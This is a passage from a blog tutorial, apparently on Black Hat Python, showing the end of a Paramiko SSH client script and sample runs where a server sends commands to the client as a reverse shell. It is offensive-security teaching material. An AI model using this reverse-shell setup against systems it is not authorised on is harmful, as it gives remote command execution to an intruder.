<span class="n">PORT</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">opts</span> <span class="o">=</span> <span class="n">getopt</span><span class="o">.</span><span class="n">getopt</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">:],</span><span class="s">"p:u:a:"</span><span class="p">,</span> \
<span class="p">[</span><span class="s">"PORT"</span><span class="p">,</span> <span class="s">"USER"</span><span class="p">,</span> <span class="s">"PASSWORD"</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
<span class="k">except</span> <span class="n">getopt</span><span class="o">.</span><span class="n">GetoptError</span> <span class="k">as</span> <span class="n">err</span><span class="p">:</span>
<span class="k">print</span> <span class="nb">str</span><span class="p">(</span><span class="n">err</span><span class="p">)</span>
<span class="n">usage</span><span class="p">()</span>
<span class="n">IP</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">print</span> <span class="s">"[*] Initializing connection to "</span> <span class="o">+</span> <span class="n">IP</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">opts</span><span class="p">:</span>
<span class="k">if</span> <span class="n">t</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'-a'</span><span class="p">):</span>
<span class="n">PASSWORD</span> <span class="o">=</span> <span class="n">t</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">elif</span> <span class="n">t</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'-p'</span><span class="p">):</span>
<span class="n">PORT</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">t</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="k">elif</span> <span class="n">t</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'-u'</span><span class="p">):</span>
<span class="n">USER</span> <span class="o">=</span> <span class="n">t</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"This option does not exist!"</span>
<span class="n">usage</span><span class="p">()</span>
<span class="k">if</span> <span class="n">USER</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[*] User set to "</span> <span class="o">+</span> <span class="n">USER</span>
<span class="k">if</span> <span class="n">PORT</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[*] The port to be used is </span><span class="si">%d</span><span class="s">. "</span> <span class="o">%</span> <span class="n">PORT</span>
<span class="k">if</span> <span class="n">PASSWORD</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"[*] A password with length </span><span class="si">%d</span><span class="s"> was submitted. "</span> <span class="o">%</span><span class="nb">len</span><span class="p">(</span><span class="n">PASSWORD</span><span class="p">)</span>
<span class="n">ssh_client</span><span class="p">(</span><span class="n">IP</span><span class="p">,</span> <span class="n">PORT</span><span class="p">,</span> <span class="n">USER</span><span class="p">,</span> <span class="n">PASSWORD</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">main</span><span class="p">()</span>
</pre></div>
<h3>Running both Scripts</h3>
<p>Let's run each script in a different terminal. First, the server:</p>
<div class="highlight"><pre><span class="nv">$ </span>ssh_server.py localhost 22
<span class="o">[</span>+<span class="o">]</span> Listening <span class="k">for </span>connection ...
</pre></div>
<p>Then the client:</p>
<div class="highlight"><pre><span class="nv">$ </span>ssh_client_reverse.py localhost -p 22 -u buffy -a killvampires
<span class="o">[</span>*<span class="o">]</span> Initializing connection to localhost
<span class="o">[</span>*<span class="o">]</span> User <span class="nb">set </span>to buffy
<span class="o">[</span>*<span class="o">]</span> The port to be used is 22.
<span class="o">[</span>*<span class="o">]</span> A password with length 12 was submitted.
Welcome to Buffy<span class="err">'</span>s SSH
</pre></div>
<p>Now we can send any command from the server side to run in the client: we have a reversed shell!</p>
<div class="highlight"><pre><span class="o">[</span>+<span class="o">]</span> Listening <span class="k">for </span>connection ...
<span class="o">[</span>+<span class="o">]</span> Connection Established!
<span class="o">[</span>+<span class="o">]</span> Authenticated!
Enter <span class="nb">command</span>: ls
filename.log
ssh_client.py
ssh_client_reverse.py
ssh_server.py
test_rsa.key
Enter <span class="nb">command</span>:
</pre></div>
<p><strong>Awesomesauce!</strong></p>
<p>Ah, by the way, all these scripts work not only in Linux but in Windows and Mac as well (so next time you are in a lame Windows machine, no need to install <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html">Putty</a> anymore =p ).</p>
<hr />
<h2>Further References:</h2>
<ul>
<li><a href="https://github.com/paramiko/paramiko/blob/master/demos/rforward.py">Paramikos reverse SSH tunneling</a>.</li>
<li><a href="https://github.com/tristanfisher/ogre/blob/master/ogre">Ogre: port scanner and brute-force tool (from a friend I met at Hacker School)</a></li>
<li><a href="http://www.nostarch.com/blackhatpython">Black Hat Python</a>.</li>
<li><a href="https://github.com/bt3gl/My-Gray-Hacker-Resources">My Gray hat repo</a>.</li>
</ul>
</div><!-- /.entry-content -->
<div class="comments">
<h2>Comments !</h2>
<div id="disqus_thread"></div>
<script type="text/javascript">
var disqus_identifier = "black-hat-python-the-paramiko-module.html";
(function() {
var dsq = document.createElement('script');
dsq.type = 'text/javascript'; dsq.async = true;
dsq.src = 'http://bt3gl.disqus.com/embed.js';
(document.getElementsByTagName('head')[0] ||
document.getElementsByTagName('body')[0]).appendChild(dsq);
})();
</script>
</div>
</article>
</section>
</div><!--/span-->
</div><!--/row-->
<footer>
<address id="about">
</address><!-- /#about -->
</footer>
</div><!--/.fluid-container-->
<script src="./theme/js/jquery-1.7.2.min.js"></script>
<script src="./theme/js/bootstrap.min.js"></script>
</body>
</html>